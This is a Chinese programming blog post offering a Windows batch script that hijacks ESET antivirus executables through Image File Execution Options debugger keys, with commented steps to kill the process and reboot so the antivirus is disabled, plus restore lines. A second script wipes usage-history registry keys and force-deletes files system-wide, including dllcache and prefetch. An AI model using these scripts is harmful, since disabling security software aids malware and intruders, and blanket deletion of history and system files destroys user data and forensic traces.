[编程实例]批处理干掉EAV

 
  1. @echo off
  2. reg  add "HKLM/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File 
  3. Execution Options/egui.exe" /v debugger /t reg_sz /d svchost.exe /f >nul 
  4. 2>nul
  5. reg  add "HKLM/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File 
  6. Execution Options/ekrn.exe" /v debugger /t reg_sz /d svchost.exe /f >nul 
  7. 2>nul
  8. ::reg delete HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion/Run  /v egui  /f 
  9. >nul 2>nul  
  10. ::taskkill /f /im egui.exe >nul
  11. ::重启计算机,eav宣布投降
  12. ::shutdown -r -t 0
  13. pause
  14. :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  15. :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  16. :::::::::::::::::
  17. ::下面是恢复EAV的注册表文件内容(!安装路径可能不一样):
  18. ::Windows Registry Editor Version 5.00
  19. ::[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]
  20. ::"egui"="/"E://Program Files//ESET//ESET NOD32 Antivirus//egui.exe/" /hide 
  21. /waitservice"
  22. ::解除对EAV的劫持
  23. ::reg  delete "HKLM/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File 
  24. Execution Options/egui.exe"  /f  >nul 2>nul
  25. ::reg  delete "HKLM/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File 
  26. Execution Options/ekrn.exe"  /f  >nul 2>nul
  27. ::重新启动eset服务
  28. ::net start ekrn
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
自己编写的很强悍的删除系统垃圾批处理工具: @echo off color 02 echo ::清理局域网共享痕迹--注册表:: reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\WorkgroupCrawler\Shares" /f >nul 2>nul echo ::用户运行或操作历史记录--注册表:: reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs\Folder" /va /f >nul 2>nul reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs\.txt" /va /f >nul 2>nul reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs\.rar" /va /f >nul 2>nul reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs\.mp3" /va /f >nul 2>nul reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs\.jpg" /va /f >nul 2>nul reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs\.ini" /va /f >nul 2>nul reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs\.bmp" /va /f >nul 2>nul reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs\.doc" /va /f >nul 2>nul reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs\.eip" /va /f >nul 2>nul reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs\.htm" /va /f >nul 2>nul reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs\.ico" /va /f >nul 2>nul reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs\.inf" /va /f >nul 2>nul reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs\.gif" /va /f >nul 2>nul reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs\.wav" /va /f >nul 2>nul reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs\.xls" /va /f >nul 2>nul reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs\.rm" /va /f >nul 2>nul reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs" /va /f >nul 2>nul reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVisitedMRU" /va /f >nul 2>nul reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSaveMRU\*" /va /f >nul 2>nul reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSaveMRU\mp3" /va /f >nul 2>nul reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSaveMRU\rm" /va /f >nul 2>nul reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSaveMRU\wav" /va /f >nul 2>nul reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSaveMRU\bat" /va /f >nul 2>nul reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSaveMRU\exe" /va /f >nul 2>nul reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSaveMRU\eip" /va /f >nul 2>nul reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSaveMRU\ico" /va /f >nul 2>nul reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSaveMRU\htm" /va /f >nul 2>nul reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSaveMRU\jpg" /va /f >nul 2>nul reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" /va /f >nul 2>nul reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StreamMRU" /va /f >nul 2>nul reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{5E6AB780-7743-11CF-A12B-00AA004AE837}\Count" /va /f >nul 2>nul reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{75048700-EF1F-11D0-9888-006097DEACF9}\Count" /va /f >nul 2>nul reg delete "HKCU\Software\WinRAR\ArcHistory" /va /f >nul 2>nul reg delete "HKCU\Software\WinRAR\DialogEditHistory\ArcName" /va /f >nul 2>nul reg delete "HKCU\Software\WinRAR\DialogEditHistory\ExtrPath" /va /f >nul 2>nul reg delete "HKCU\Software\Microsoft\MediaPlayer\Player\RecentFileList" /va /f >nul 2>nul reg delete "HKCU\Software\Microsoft\Microsoft Management Console\Recent File List" /va /f >nul 2>nul reg delete "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Recent File List" /va /f >nul 2>nul reg delete "HKCU\Software\Microsoft\Office\11.0\Excel\Recent File" /va /f >nul 2>nul reg delete "HKCU\Software\Microsoft\Office\11.0\Word\Data" /v "Settings" /f >nul 2>nul reg delete "HKCU\Software\VMware, Inc." /va /f >nul 2>nul echo ::清理IE浏览历史的下拉列表--注册表:: reg delete "HKCU\Software\Microsoft\Internet Explorer\TypedUrls" /va /f >nul 2>nul echo ::清理系统垃圾文件:: del /f /q "%ALLUSERSPROFILE%\Documents\DrWatson\*.*">nul 2>nul del /f /q "%USERPROFILE%\Application Data\Microsoft\Office\Recent\*.lnk">nul 2>nul del /f /s /q %systemdrive%\*.tmp del /f /s /q %systemdrive%\*._mp del /f /s /q %systemdrive%\*.log del /f /s /q %systemdrive%\*.gid del /f /s /q %systemdrive%\*.chk del /f /s /q %systemdrive%\*.old del /f /s /q %USERPROFILE%\Local Settings\Temp\*.* del /f /s /q %systemdrive%\recycled\*.* del /f /s /q %windir%\*.bak del /f /q %userprofile%\cookies\*.* del /f /q %userprofile%\recent\*.* del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*" del /f /s /q "%userprofile%\Local Settings\Temp\*.*" del /f /s /q "%userprofile%\recent\*.*" del /f /s /q %windir%\system32\dllcache\*.* DEL /F /s /q %windir%\temp\*.* del /f /s /q %windir%\prefetch\*.* del /f /s /q %windir%\*.log echo sfc /purgecache '清理系统盘无用文件 echo defrag %systemdrive% -b '优化预读信息 exit 将以上代码存为.bat文件即可。 建议大家手动删一下这些目录下的垃圾文件: C:\WINDOWS\system32\dllcache C:\WINDOWS\Prefetch C:\WINDOWS\Temp C:\Documents and Settings\%userfile%\Cookies C:\Documents and Settings\Administrator\Local Settings\Temp C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files C:\Documents and Settings\Administrator\Recent 还有windows目录下所有蓝色的以$符号开头结尾的系统更新垃圾! 当然,你要开启查看隐藏文件才行,
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值